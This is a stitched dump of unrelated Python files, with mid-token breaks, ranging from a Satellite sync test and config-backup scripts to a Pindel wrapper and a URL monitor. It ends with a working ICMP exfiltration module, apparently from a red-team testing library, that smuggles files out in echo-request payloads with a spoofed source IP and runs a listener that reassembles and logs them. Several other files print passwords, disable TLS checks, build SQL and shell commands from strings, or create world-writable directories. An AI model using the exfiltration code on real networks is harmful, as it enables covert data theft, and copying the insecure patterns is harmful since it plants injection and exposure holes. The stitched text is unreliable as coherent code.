omaciel/robottelo | tests/foreman/ui/test_sync.py | Python | gpl-3.0 | 5,811 | 0.000172 | """Test class for Custom Sync UI
:Requirement: Sync
:CaseAutomation: Automated
:CaseLevel: Acceptance
:CaseComponent: Repositories
:TestType: Functional
:CaseImportance: High
:Upstream: No
"""
from fauxfactory import gen_string
from nailgun import entities
from robottelo import manifests
from robottelo.api.utils import enable_rhrepo_and_fetchid
from robottelo.constants import (
DISTRO_RHEL6, DISTRO_RHEL7,
DOCKER_REGISTRY_HUB,
DOCKER_UPSTREAM_NAME,
FAKE_1_YUM_REPO,
FEDORA27_OSTREE_REPO,
REPOS,
REPOSET,
REPO_TYPE,
PRDS,
)
from robottelo.decorators import (
fixture,
run_in_one_thread,
skip_if_not_set,
tier2,
upgrade,
skip_if_bug_open,
)
from robottelo.decorators.host import skip_if_os
from robottelo.products import (
RepositoryCollection,
RHELCloudFormsTools,
SatelliteCapsuleRepository,
)
@fixture(scope='module')
def module_org():
return entities.Organization().create()
@fixture(scope='module')
def module_custom_product(module_org):
return entities.Product(organization=module_org).create()
@fixture(scope='module')
def module_org_with_manifest():
org = entities.Organization().create()
manifests.upload_manifest_locked(org.id)
return org
@tier2
def test_positive_sync_custom_repo(session, module_custom_product):
"""Create Content Custom Sync with minimal input parameters
:id: 00fb0b04-0293-42c2-92fa-930c75acee89
:expectedresults: Sync procedure is successful
:CaseImportance: Critical
"""
repo = entities.Repository(
url=FAKE_1_YUM_REPO, product=module_custom_product).create()
with session:
results = session.sync_status.synchronize([
(module_custom_product.name, repo.name)])
assert len(results) == 1
assert results[0] == 'Syncing Complete.'
@run_in_one_thread
@skip_if_not_set('fake_manifest')
@tier2
@upgrade
def test_positive_sync_rh_repos(session, module_org_with_manifest):
"""Create Content RedHat Sync with two repos.
:id: e30f6509-0b65-4bcc-a522-b4f3089d3911
:expectedresults: Sync procedure for RedHat Repos is successful
:CaseLevel: Integration
"""
repos = (
SatelliteCapsuleRepository(cdn=True),
RHELCloudFormsTools(cdn=True)
)
distros = [DISTRO_RHEL7, DISTRO_RHEL6]
repo_collections = [
RepositoryCollection(distro=distro, repositories=[repo])
for distro, repo in zip(distros, repos)
]
for repo_collection in repo_collections:
repo_collection.setup(module_org_with_manifest.id, synchronize=False)
repo_paths = [
(
repo.repo_data['product'],
repo.repo_data.get('releasever'),
repo.repo_data.get('arch'),
repo.repo_data['name'],
)
for repo in repos
]
with session:
session.organization.select(org_name=module_org_with_manifest.name)
results = session.sync_status.synchronize(repo_paths)
assert len(results) == len(repo_paths)
assert all([result == 'Syncing Complete.' for result in results])
@skip_if_bug_open('bugzilla', 1625783)
@skip_if_os('RHEL6')
@tier2
@upgrade
def test_positive_sync_custom_ostree_repo(session, module_custom_product):
"""Create custom ostree repository and sync it.
:id: e4119b9b-0356-4661-a3ec-e5807224f7d2
:expectedresults: ostree repo should be synced successfully
:CaseLevel: Integration
"""
repo = entities.Repository(
content_type='ostree',
url=FEDORA27_OSTREE_REPO,
product=module_custom_product,
unprotected=False,
).create()
with session:
results = session.sync_status.synchronize([
(module_custom_product.name, repo.name)])
assert len(results) == 1
assert results[0] == 'Syncing Complete.'
@run_in_one_thread
@skip_if_bug_open('bugzilla', 1625783)
@skip_if_os('RHEL6')
@skip_if_not_set('fake_manifest')
@tier2
@upgrade
def test_positive_sync_rh_ostree_repo(session, module_org_with_manifest):
"""Sync CDN based ostree repository.
:id: 4d28fff0-5fda-4eee-aa0c-c5af02c31de5
:Steps:
1. Import a valid manifest
2. Enable the OStree repo and sync it
:expectedresults: ostree repo should be synced successfully from CDN
:CaseLevel: Integration
"""
enable_rhrepo_and_fetchid(
basearch=None,
org_id=module_org_with_manifest.id,
product=PRDS['rhah'],
repo=REPOS['rhaht']['name'],
reposet=REPOSET['rhaht'],
releasever=None,
)
with session:
session.organization.select(org_name=module_org_with_manifest.name)
results = session.sync_status.synchronize([
(PRDS['rhah'], REPOS['rhaht']['name'])])
assert len(results) == 1
assert results[0] == 'Syncing Complete.'
@tier2
@upgrade
def test_positive_sync_docker_via_sync_status(session, module_org):
"""Create custom docker repo and sync it via the sync status page.
:id: 00b700f4-7e52-48ed-98b2-e49b3be102f2
:expectedresults: Sync procedure for specific docker repository is
successful
:CaseLevel: Integration
"""
product = entities.Product(organization=module_org).create()
repo_name = gen_string('alphanumeric')
with | session:
session.repository.create(
product.name,
{'name': repo_name,
'repo_type': REPO_TYPE['docker'],
| 'repo_content.upstream_url': DOCKER_REGISTRY_HUB,
'repo_content.upstream_repo_name': DOCKER_UPSTREAM_NAME}
)
assert session.repository.search(product.name, repo_name)[0]['Name'] == repo_name
result = session.sync_status.synchronize([(product.name, repo_name)])
assert result[0] == 'Syncing Complete.'
|
rayank77b/saveMyConfigs | smc.py | Python | gpl-2.0 | 8,718 | 0.011471 | #!/usr/bin/python
#
# Author = Andrej Frank, IT-Designers GmbH, STZ Softwaretechnik
# Version = 0.0.1 Alpha
# GNU GENERAL PUBLIC LICENSE
#
# what we do:
# - read configuration(user,pass,what to save, where to save)
# - get the config from switchs
# - log in ssh, get the configs/files/dirs
# - store it on git( clone if not exists, commit, push)
#
# at moment is it alpha and the error handling is very bad (like my english ;)
import git
import subprocess
import sys, os
import shutil
import paramiko
import tarfile
from optparse import OptionParser
import ssl
import ssh
import readConfig
import pc6248
import ap541
ENV={}
C_GIT='git-configs'
C_SSH='ssh-server'
debug=True
def log(ok=True, msg='', exit=False):
'''simple log if the debug is true. '''
if debug:
if ok:
print "[+] %s"%msg
else:
print "[-] %s"%msg
if exit:
sys.exit(-1)
def get_copy(host):
'''copy a remote file to local file'''
log(ok=True, msg="start to copy...")
hostip = ENV[host]['ipaddress']
name = ENV[host]['username']
passwd = ENV[host]['password']
paths = ENV[host]['file']
repo = ENV[C_GIT]['repopath']
log(ok=True, msg="connect to %s user %s"%(hostip, name))
print "%s %s %s"%(hostip, name, passwd)
client = ssh.open(hostip, name, passwd)
ssh.scp(client, paths, repo)
client.close()
log(ok=True, msg="copy ok")
def get_copy_remote(host):
'''copy a remote file to local file, which was copied from pc6248 to remote file.
we must delete the remote file'''
log(ok=True, msg="start to copy...")
hostip = ENV[C_SSH]['ipaddress']
name = ENV[C_SSH]['username']
passwd = ENV[C_SSH]['password']
paths = ENV[host]['pc6428']
repo = ENV[C_GIT]['repopath']
# TODO: it is better if we have temporaer local files
log(ok=True, msg="connect to %s user %s"%(hostip, name))
client = ssh.open(hostip, name, passwd)
ssh.scp(client, paths, repo)
for x in paths:
ssh.remove(client, x['remotepath'])
client.close()
log(ok=True, msg="copy ok")
def get_directory(host):
''' get the remote diretory with ssh, tar and untar. '''
log(ok=True, msg="start to copy a directory...")
hostip = ENV[host]['ipaddress']
name = ENV[host]['username']
passwd = ENV[host]['password']
paths = ENV[host]['dirs']
repo = ENV[C_GIT]['repopath']
log(ok=True, msg="connect to %s user %s"%(hostip, name))
client = ssh.open(hostip, name, passwd)
ftp = client.open_sftp()
for x in paths:
remote = x['remotepath']
local = x['localpath']
log(ok=True, msg="copy dirs %s:/%s to local %s/%s"%(host,remote,repo,local))
tokens = remote.split('/')
if tokens[-1] == '':
name = tokens[-2]
directory = '/'.join(tokens[:-2])
else:
name = tokens[-1]
directory = '/'.join(tokens[:-1])
# print "client: %s name: %s dir: %s"%(client, name, directory)
err, lines = ssh.tar_c(client, name, directory)
if not err: # move to the repo
tarname='/tmp/%s.tgz'%name
log(ok=True, msg="untar %s"%tarname)
ssh.scp_file(ftp, tarname, tarname)
ssh.remove(client, tarname)
tar = tarfile.open(tarname)
tar.extractall(path=repo+'/'+local)
tar.close()
os.remove(tarname)
else:
log(ok=False, msg="something is wrong on ssh tar: %s"%lines)
sys.exit(-1)
client.close()
def open_repo():
''' open the repo if exists and pull it'''
log(ok=True, msg="open repo...")
repopath=ENV[C_GIT]['repopath']
# try open the repo, if none, then clone
try:
repo=git.Repo(repopath)
log(ok=True, msg="get the repo %s"%repopath)
origin = repo.remotes.origin
# pull
| origin.pull()
log(ok=Tru | e, msg="pulled")
return repo
except git.exc.NoSuchPathError:
print "error you must clone the repo first,"
print "execute following commands:\n"
t=repopath.split('/')
print " cd %s"%('/'.join(t[:-1]))
print " git clone %s"%(ENV[C_GIT]['remote'])
print
print "and you must set the username:password in .git/config url"
print "we dont handle username:password yet\n"
sys.exit(-1)
def add2git(repo, msg):
''' add a file/dir to git'''
log(ok=True, msg="start to add...")
repopath=ENV[C_GIT]['repopath']
# commit the file if modified or new
gitCommit(msg, repopath)
log(ok=True, msg="commited (%s)"%msg)
def push2git(repo):
'''push to remote git'''
log(ok=True, msg="start to push...")
origin = repo.remotes.origin
origin.push()
log(ok=True, msg="pushed")
def gitCommit(message, repoDir):
''' we use "git commit -a -m message", because the python git has not work correct.
or we have not use it correct.'''
cmd = ['git', 'add', '.']
p = subprocess.Popen(cmd, cwd=repoDir)
p.wait()
cmd = ['git', 'commit', '-a', '-m', message]
p = subprocess.Popen(cmd, cwd=repoDir)
p.wait()
def getPC6248(host):
''' get the configuration of the PowerConnect 6248 Switch.'''
log(ok=True, msg="start to get from Switch pc6248 %s..."%host)
if 'ssh-server' in ENV.keys():
sshenv = ENV['ssh-server']
else:
log(ok=False, msg="ERROR, no ssh-server config found", exit=True)
hostenv=ENV[host]
cl = pc6248.PC6248(host, hostenv, sshenv)
r, msg = cl.login()
log(ok=True, msg="Login ok: %d, %s"%(r, msg))
if r==200:
r=cl.get_config()
if r:
log(ok=True, msg="OK, get the files")
else:
log(ok=False, msg="Error on getting files from pc6428 %s"%host)
else:
log(ok=False, msg="Error on getting files from pc6428 %s"%host)
def getAP541(host):
''' get the configuration of the Access Point AP541.'''
log(ok=True, msg="start to get from Access Point ap541 %s..."%host)
hostenv=ENV[host]
cl = ap541.AP541(host, hostenv)
r, msg = cl.login()
log(ok=True, msg="Login ok: %d %s"%(r, msg))
if r==200:
r=cl.get_config()
if r:
log(ok=True, msg="OK, get the files")
else:
log(ok=False, msg="Error on getting files from ap541 %s"%host)
else:
log(ok=False, msg="Error on getting files from ap541 %s"%host)
def move_local(host, how, nr):
''' move a local file. '''
log(ok=True, msg="move local file...")
repo = ENV[C_GIT]['repopath']
fromfile = ENV[host][how][nr]['remotepath']
tofile = repo+"/"+ENV[host][how][nr]['localpath']
log(ok=True, msg="move local file from %s to %s ..."%(fromfile, tofile))
shutil.move(fromfile, tofile)
if __name__ == '__main__':
ssl._create_default_https_context = ssl._create_unverified_context
parser = OptionParser()
parser.add_option("-c", "--config", dest="config",
help="get the config file", metavar="FILE")
parser.add_option("-q", "--quiet",
action="store_false", dest="verbose", default=True,
help="don't print status messages to stdout")
(options, args) = parser.parse_args()
configfile=''
if options.config==None:
sys.stderr.write('ERROR: please give a configuration file (see -h)\n')
sys.exit(-1)
else:
configfile=options.config
if not os.path.isfile(configfile):
sys.stderr.write('ERROR: can\'t open the file\n')
sys.exit(-1)
if not options.verbose:
debug=True
log(ok=True, msg="read configuration...")
ENV = readConfig.read(configpath=configfile)
#readConfig.printOut(ENV)
repo=open_repo()
for host in ENV.keys():
if host != C_GIT:
log(ok=True, msg="work on host: %s"%host)
if 'file' in ENV[host].keys():
get_copy(host)
add2git(repo, "added config host %s"%host)
if 'pc6428' in ENV[host].keys(): |
Azure/azure-linux-extensions | VMBackup/main/workloadPatch/WorkloadUtils/OracleLogBackup.py | Python | apache-2.0 | 2,709 | 0.006645 | #!/usr/bin/env python
#
# VM Backup extension
#
# Copyright 2014 Microsoft Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import os
import re
import sys
import subprocess
import threading
from workloadPatch.LogbackupPatch import LogBackupPatch
from time import sleep
from datetime import datetime
# Example of Parameter File Content:
# *.db_name='CDB1'
def parameterFileParser():
regX = re.compile(r"\*\..+=.+")
parameterFile = open(logbackup.parameterFilePath, 'r')
contents = parameterFile.read()
for match in regX.finditer(contents):
keyParameter = match.group().split('=')[0].lstrip('*\.')
valueParameter = [name.strip('\'') for name in match.group().split('=')[1].split(',')]
| logbackup.oracleParameter[keyParameter] = valueParameter
def setLocation():
nowTimestamp = datetime.now()
nowTimestamp = nowTimestamp.strftime("%Y%m%d%H%M%S")
fullPath = logbackup.baseLocation + nowTimestamp
os.system('mkdir -m777 '+ fullPath)
return fullPath
def t | akeBackup():
print("logbackup: Taking a backup")
backupPath = setLocation()
if 'oracle' in logbackup.name.lower():
backupOracle = logbackup.command + " -s / as sysdba @" + "/var/lib/waagent/Microsoft.Azure.RecoveryServices.VMSnapshotLinux-1.0.9164.0/main/workloadPatch/scripts/logbackup.sql " + backupPath
argsForControlFile = ["su", "-", logbackup.cred_string, "-c", backupOracle]
snapshotControlFile = subprocess.Popen(argsForControlFile)
while snapshotControlFile.poll()==None:
sleep(1)
recoveryFileDest = logbackup.oracleParameter['db_recovery_file_dest']
dbName = logbackup.oracleParameter['db_name']
print(' logbackup: Archive log backup started at ', datetime.now().strftime("%Y%m%d%H%M%S"))
os.system('cp -R -f ' + recoveryFileDest[0] + '/' + dbName[0] + '/archivelog ' + backupPath)
print(' logbackup: Archive log backup complete at ', datetime.now().strftime("%Y%m%d%H%M%S"))
print("logbackup: Backup Complete")
def main():
global logbackup
logbackup = LogBackupPatch()
parameterFileParser()
takeBackup()
if __name__ == "__main__":
main() |
pmarks-net/dtella | dtella/modules/pull_gdata.py | Python | gpl-2.0 | 1,879 | 0.001064 | """
Dtella - Google Spreadsheets Puller Module
Copyright (C) 2008 Dtella Labs (http://dtella.org)
Copyright (C) 2008 Paul Marks (http://pmarks.net)
$Id$
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
"""
from twisted.internet import reactor
from twisted.internet.threads import deferToThread
import urllib
import xml.dom.minidom
PAGE_TEMPLATE = ("https://spreadsheets.google.com/feeds/cells/"
"%s/1/public/basic?max-col=1&max-row=10")
class GDataPuller(object):
# Tell our py2exe script to let XML/SSL be included.
needs_xml = True
needs_ssl = True
def __init__(self, sheet_key):
self.sheet_key = sheet_key
def startText(self):
return "Requesting config data from G | oogle Spreadsheet..."
def query(self):
def f(url):
return urllib.urlopen(url).read()
d = deferToThread(f, PAGE_TEMPLATE % self.sheet_key)
def cb(result):
config_list = []
doc = xml.dom.minidom.parseString(result)
for c in doc.getElementsByTagName("content"):
if c.firstChild:
config | _list.append(str(c.firstChild.nodeValue))
return config_list
d.addCallback(cb)
return d
|
jhl667/galaxy_tools | tools/pindel/pindel.py | Python | apache-2.0 | 16,775 | 0.00775 | #!/usr/bin/env python
import logging
import argparse, os, shutil, subprocess, sys, tempfile, time, shlex, re
import datetime
from multiprocessing import Pool
import vcf
def execute(cmd, output=None):
import subprocess, sys, shlex
# function to execute a cmd and report if an error occur
print(cmd)
try:
process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
stdout,stderr = process.communicate()
except Exception, e: # une erreur de ma commande : stderr
sys.stderr.write("problem doing : %s\n%s\n" %(cmd, e))
return
if output:
output = open(output, 'w')
output.write(stdout)
output.close()
if stderr != '': # une erreur interne au programme : stdout (sinon, souvent des warning arrete les programmes)
sys.stdout.write("warning or error while doing : %s\n-----\n%s-----\n\n" %(cmd, stderr))
def indexBam(workdir, inputFastaFile, inputBamFile, bam_number, inputBamFileIndex=None):
inputFastaLink = os.path.join(os.path.abspath(workdir), "reference.fa" )
if not os.path.exists(inputFastaLink):
os.symlink(inputFastaFile, inputFastaLink)
cmd = "samtools faidx %s" %(inputFastaLink)
execute(cmd)
inputBamLink = os.path.join(os.path.abspath(workdir), "sample_%d.bam" % (bam_number) )
os.symlink(inputBamFile, inputBamLink)
if inputBamFileIndex is None:
cmd = "samtools index %s" %(inputBamLink)
execute(cmd)
else:
os.symlink(inputBamFileIndex, inputBamLink + ".bai")
return inputFastaLink, inputBamLink
def config(inputBamFiles, meanInsertSizes, tags, tempDir):
print("Creating Config File.")
configFile = tempDir+"/pindel_configFile"
fil = open(configFile, 'w')
for inputBamFile, meanInsertSize, tag in zip(inputBamFiles, meanInsertSizes, tags):
fil.write("%s\t%s\t%s\n" %(inputBamFile, meanInsertSize, tag))
fil.close()
return configFile
def pindel(reference, configFile, args, tempDir, chrome=None):
if chrome is None:
pindel_file_base = tempDir + "/pindel"
else:
pindel_file_base = tempDir + "/pindel_" + chrome
cmd = "pindel -f %s -i %s -o %s " %(reference, configFile, pindel_file_base )
if args.input_SV_Calls_for_assembly:
cmd += ' --input_SV_Calls_for_assembly %s ' %(args.input_SV_Calls_for_assembly)
if args.breakdancer:
cmd += ' --breakdancer %s ' %(args.breakdancer)
if args.exclude is not None:
cmd += ' --exclude %s' % (args.exclude)
if args.include is not None:
cmd += ' --include %s' % (args.include)
opt_list = [
["number_of_threads", "%d"],
["max_range_index", "%d"],
["window_size", "%d"],
["sequencing_error_rate", "%f"],
["sensitivity", "%f"],
["maximum_allowed_mismatch_rate", "%f"],
["NM", "%d"],
["additional_mismatch", "%d"],
["min_perfect_match_around_BP", "%d"],
["min_inversion_size", "%d"],
["min_num_matched_bases", "%d"],
["balance_cutoff", "%d"],
["anchor_quality", "%d"],
["minimum_support_for_event", "%d"]
]
for o, f in opt_list:
if getattr(args, o) is not None:
cmd += (" --%s %s" % (o, f)) % (getattr(args,o))
if chrome is not None:
cmd += " -c '%s' " % (chrome)
flag_list = [
"report_long_insertions",
"report_duplications",
"report_inversions",
"report_breakpoints",
"report_close_mapped_reads",
"report_only_close_mapped_reads",
"report_interchromosomal_events",
"IndelCorrection",
"NormalSamples",
"DD_REPORT_DUPLICATION_READS"
]
for f in flag_list:
if getattr(args, f):
cmd += (" --%s" % (f))
if args.detect_DD:
cmd += ' -q '
cmd += ' --MAX_DD_BREAKPOINT_DISTANCE '+str(args.MAX_DD_BREAKPOINT_DISTANCE)
cmd += ' --MAX_DISTANCE_CLUSTER_READS '+str(args.MAX_DISTANCE_CLUSTER_READS)
cmd += ' --MIN_DD_CLUSTER_SIZE '+str(args.MIN_DD_CLUSTER_SIZE)
cmd += ' --MIN_DD_BREAKPOINT_SUPPORT '+str(args.MIN_DD_BREAKPOINT_SUPPORT)
cmd += ' --MIN_DD_MAP_DISTANCE '+str(args.MIN_DD_MAP_DISTANCE)
return (cmd, pindel_file_base )
def move(avant, apres):
if os.path.exists(avant):
execute("mv %s %s" %(av | ant, apres))
def pindel2vcf(inputFastaFile, refName, pindel_file, vcf_file):
date = str(time.strftime('%d/%m/%y',time.localtime()))
cmd = "pindel2vcf -p %s -r %s -R %s -d %s -v %s -he 0.05 -ho 0.95 -G" % (pindel_file, inputFastaFile, refName, date, vcf_file)
# Added | hard-coded parameters. JHL
return cmd
def which(cmd):
cmd = ["which",cmd]
p = subprocess.Popen(cmd, stdout=subprocess.PIPE)
res = p.stdout.readline().rstrip()
if len(res) == 0: return None
return res
def get_bam_seq(inputBamFile, min_size): ### Changed min_size to 40mil. JHL
samtools = which("samtools")
cmd = [samtools, "idxstats", inputBamFile]
process = subprocess.Popen(args=cmd, stdout=subprocess.PIPE)
stdout, stderr = process.communicate()
seqs = []
for line in stdout.split("\n"):
tmp = line.split("\t")
if len(tmp) == 4 and int(tmp[1]) >= min_size:
seqs.append(tmp[0])
return seqs
def getMeanInsertSize(bamFile):
logging.info("Getting insert size of %s" % (bamFile))
cmd = "samtools view -f66 %s | head -n 1000000" % (bamFile)
process = subprocess.Popen(args=cmd, shell=True, stdout=subprocess.PIPE)
b_sum = 0L
b_count = 0L
while True:
line = process.stdout.readline()
if not line:
break
tmp = line.split("\t")
if abs(long(tmp[8])) < 10000:
b_sum += abs(long(tmp[8]))
b_count +=1
process.wait()
if b_count == 0:
mean = 200
else:
mean = b_sum / b_count
print "Using insert size: %d" % (mean)
return mean
def __main__():
logging.basicConfig(level=logging.INFO)
time.sleep(1) #small hack, sometimes it seems like docker file systems aren't avalible instantly
parser = argparse.ArgumentParser(description='')
parser.add_argument('-r', dest='inputFastaFile', required=True, help='the reference file')
parser.add_argument('-R', dest='inputFastaName', default="genome", help='the reference name')
parser.add_argument('-b', dest='inputBamFiles', default=[], action="append", help='the bam file')
parser.add_argument('-bi', dest='inputBamFileIndexes', default=[], action="append", help='the bam file')
parser.add_argument('-s', dest='insert_sizes', type=int, default=[], action="append", required=False, help='the insert size')
parser.add_argument('-t', dest='sampleTags', default=[], action="append", help='the sample tag')
parser.add_argument('-o1', dest='outputRaw', help='the output raw', default=None)
parser.add_argument('-o2', dest='outputVcfFile', help='the output vcf', default=None)
parser.add_argument('-o3', dest='outputSomaticVcfFile', help='the output somatic filtered vcf', default=None)
parser.add_argument('--number_of_threads', dest='number_of_threads', type=int, default=2)
parser.add_argument('--number_of_procs', dest='procs', type=int, default=1)
parser.add_argument('--breakdancer', dest='breakdancer')
parser.add_argument('-x', '--max_range_index', dest='max_range_index', type=int, default=None)
parser.add_argument('--window_size', dest='window_size', type=int, default=None)
parser.add_argument('--sequencing_error_rate', dest='sequencing_error_rate', type=float, default=None)
parser.add_argument('--sensitivity', dest='sensitivity', default=None, type=float)
parser.add_argument('--report_long_insertions', dest='report_long_insertions', action='store_true', default=False)
parser.add_argument('--report_duplications', dest='report_duplications', action='store_true', default=False)
parser.add_argument('--report_inversions', dest='report_inversions', action='store_true', default=False)
parser.add_argument('--report_breakpoints', dest='report_breakpoin |
sageskr/domain_mon | code/url_monitor.py | Python | apache-2.0 | 2,606 | 0.011572 | #!/usr/bin/env python
# -*- encoding:utf-8 -*-
__author__ = 'kairong'
#解决crontab中无法执行的问题
import sys
reload(sys)
sys.setdefaultencoding('utf8')
import ConfigParser
import MySQLdb
import requests
import re
from socket import socket, SOCK_DGRAM, AF_INET
from multiprocessing import Process
###函数声明区域
def get_localIP():
'''获取本地ip'''
s = socket(AF_INET, SOCK_DGRAM)
s.connect(('google.com', 0))
return s.getsockname()[0]
def get_args(main, name):
"""获取配置"""
return cf.get(main, name)
def check_url(id, url, keyword, method='GET'):
| '''检查域名和关键词,并把结果写入db'''
r = requests.get(url)
if r.status_code <=400 and re.search(unicode(keyword), r.text):
c_result = 0
else:
c_result = 1
status_2_db(id, c_result)
def status_2_db(id, status):
'''把结果写入db'''
conn = MySQLdb.connect(host=db_hostname, user=db_user, passwd=db_pass, db='url_mon',charset='utf8')
cur = conn.cursor()
s | ql_get_id_status = "select status_code from status_code where ID = %d and rep_point = '%s' ;" %(id, local_ip)
cur.execute(sql_get_id_status)
last_code = cur.fetchone()
if last_code:
last_code = last_code[0]
cur_code = last_code * status + status
sql_update_id_status = "update status_code set status_code = %d, rep_time = CURRENT_TIMESTAMP where ID = %d and rep_point = '%s';" %(cur_code, id, local_ip)
cur.execute(sql_update_id_status)
else:
cur_code = status
sql_into_id_status = "insert into status_code(ID, status_code, rep_point) value(%d, %d, '%s')" %(id, cur_code, local_ip)
cur.execute(sql_into_id_status)
conn.commit()
conn.close()
def main():
conn = MySQLdb.connect(host=db_hostname, user=db_user, passwd='test', db='url_mon',charset='utf8')
cur = conn.cursor()
cur.execute("select * from montior_url;")
while True:
line = cur.fetchone()
if not line:
break
c_id, c_domain, c_location, c_method, c_keyword = line[0], line[1], line[2], line[3], line[4]
c_url = "http://%s%s" % (c_domain,c_location)
if c_method == line[5]:
c_post_d = line[6]
Process(target=check_url, args=(c_id, c_url, c_keyword)).start()
###变量获取区域
local_ip = get_localIP()
cf = ConfigParser.ConfigParser()
cf.read("./local_config")
db_hostname = get_args("DB", "db_host")
db_user = get_args("DB", "username")
db_pass = get_args("DB", "passwd")
db_default = get_args("DB", "db")
if __name__ == "__main__":
main()
|
VladimirShe/in100gram | in100gram/in100gram/urls.py | Python | apache-2.0 | 278 | 0.014388 | from django.conf.urls import patterns, include, url
from django.contrib import admin
urlpatterns = | patterns('',
# Examples:
# url(r'^$', 'in100gram.views.home', na | me='home'),
# url(r'^blog/', include('blog.urls')),
url(r'^admin/', include(admin.site.urls)),
)
|
ytisf/PyExfil | pyexfil/network/ICMP/icmp_exfiltration.py | Python | mit | 6,676 | 0.028161 | #!/usr/bin/python
import os
import sys
import zlib
import time
import datetime
import base64
from socket import *
from impacket import ImpactPacket
""" Constants """
READ_BINARY = "rb"
WRITE_BINARY = "wb"
READ_FROM_SOCK = 7000
ICMP_HEADER_SIZE = 27
DATA_SEPARATOR = "::"
DATA_TERMINATOR = "\x12\x13\x14\x15"
INIT_PACKET = "\x12\x11\x13\x12\x12\x12"
END_PACKET = "\x15\x14\x13\x12"
LOGFILE_BASENAME = "icmp_log"
LOGFILE_EXT = ".txt"
def send_file(ip_addr, src_ip_addr="127.0.0.1", file_path="", max_packetsize=512, SLEEP=0.1):
"""
send_file will send a file to the ip_addr given.
A file path is required to send the file.
Max packet size can be determined automatically.
:param ip_addr: IP Address to send the file to.
:param src_ip_addr: IP Address to spoof from. Default it 127.0.0.1.
:param file_path: Path of the file to send.
:param max_packetsize: Max packet size. Default is 512.
:return:
"""
if file_path == "":
sys.stderr.write("No file path given.\n")
return -1
# Load file
fh = open(file_path, READ_BINARY)
iAmFile = fh.read()
fh.close()
# Create Raw Socket
s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
# Create IP Packet
ip = ImpactPacket.IP()
ip.set_ip_src(src_ip_addr)
ip.set_ip_dst(ip_addr)
# ICMP on top of IP
icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHO)
seq_id = 0
# Calculate File:
IamDone = base64.b64encode(iAmFile) # Base64 Encode for ASCII
checksum = zlib.crc32(IamDone) # Build CRC for the file
# Fragmentation of DATA
x = len(IamDone) / max_packetsize
y = len(IamDone) % max_packetsize
# Get file name from file path:
head, tail = os.path.split(file_path)
# Build stream initiation packet
current_packet = ""
current_packet += tail + DATA_SEPARATOR + str(checksum) + DATA_SEPARATOR + str(x + 2) + DATA_TERMINATOR + INIT_PACKET
icmp.contains(ImpactPacket.Data(current_packet))
ip.contains(icmp)
icmp.set_icmp_id(seq_id)
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
s.sendto(ip.get_packet(), (ip_addr, 0))
time.sleep(SLEEP)
seq_id | += 1
# Iterate over the file
for i in range(1, x + 2):
str_send = IamDone[max_packetsize * (i - 1): max_packetsize * i] + DATA_TERMINATOR
icmp.contains(ImpactPacket.Data(str_send))
ip.contains(icmp)
icmp.set_icmp_id(seq_id)
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
s.sendto(ip.get_packet(), (ip_addr, 0))
time.sleep(SLEEP)
seq_id += 1
# Add last section
str_send = IamDone[max_packetsize * i:max_packetsize * i + y] + DATA_TERMINATOR
icmp.contains(ImpactPacket.Data(str_send))
| ip.contains(icmp)
seq_id += 1
icmp.set_icmp_id(seq_id)
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
s.sendto(ip.get_packet(), (ip_addr, 0))
time.sleep(SLEEP)
# Send termination package
str_send = (tail + DATA_SEPARATOR + str(checksum) + DATA_SEPARATOR + str(seq_id) + DATA_TERMINATOR + END_PACKET)
icmp.contains(ImpactPacket.Data(str_send))
ip.contains(icmp)
seq_id += 1
icmp.set_icmp_id(seq_id)
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
s.sendto(ip.get_packet(), (ip_addr, 0))
return 0
def init_listener(ip_addr, saving_location="."):
"""
init_listener will start a listener for incoming ICMP packets
on a specified ip_addr to receive the packets. It will then
save a log file and the incoming information to the given path.
If none given it will generate one itself.
:param ip_addr: The local IP address to bind the listener to.
:return: Nothing.
"""
# Trying to open raw ICMP socket.
# If fails, you're probably just not root
try:
sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)
sock.bind(('', 1))
sys.stdout.write("Now listening...\n")
except:
sys.stderr.write("Could not start listening.\nProbably not root.\n")
raise
# Resetting counters
files_received = 0
i = 0
current_file = ""
# init log file:
current_time_as_string = str(datetime.datetime.now()).replace(":",".").replace(" ", "-")[:-7]
log_fh = open(LOGFILE_BASENAME + current_time_as_string + LOGFILE_EXT, WRITE_BINARY)
log_fh.write("Started logging at %s\n\n" % current_time_as_string)
while True:
# Extract data from IP header
data = sock.recv(READ_FROM_SOCK) # Get data
ip_header = data[:20] # Extract IP Header
# Get IP
ips = ip_header[-8:-4]
source = "%i.%i.%i.%i" % (ord(ips[0]), ord(ips[1]), ord(ips[2]), ord(ips[3]))
# Ignore everything but ECHO requests
if data[20] != "\x08":
pass
elif data[28:].find(INIT_PACKET) != -1:
# Extract data from Initiation packet:
man_string = data[28:] # String to manipulate
man_array = man_string.split(DATA_SEPARATOR) # Exploit data into array
filename = man_array[0]
checksum = man_array[1]
amount_of_packets = man_array[2]
# Document to log file
log_fh.write("Received file:\n")
log_fh.write("\tFile name:\t%s\n" % filename)
log_fh.write("\tIncoming from:\t%s\n" % source)
log_fh.write("\tFile checksum:\t%s\n" % checksum)
log_fh.write("\tIn Packets:\t%s\n" % amount_of_packets)
log_fh.write("\tIncoming at:\t%s\n" % str(datetime.datetime.now()).replace(":", ".").replace(" ", "-")[:-7])
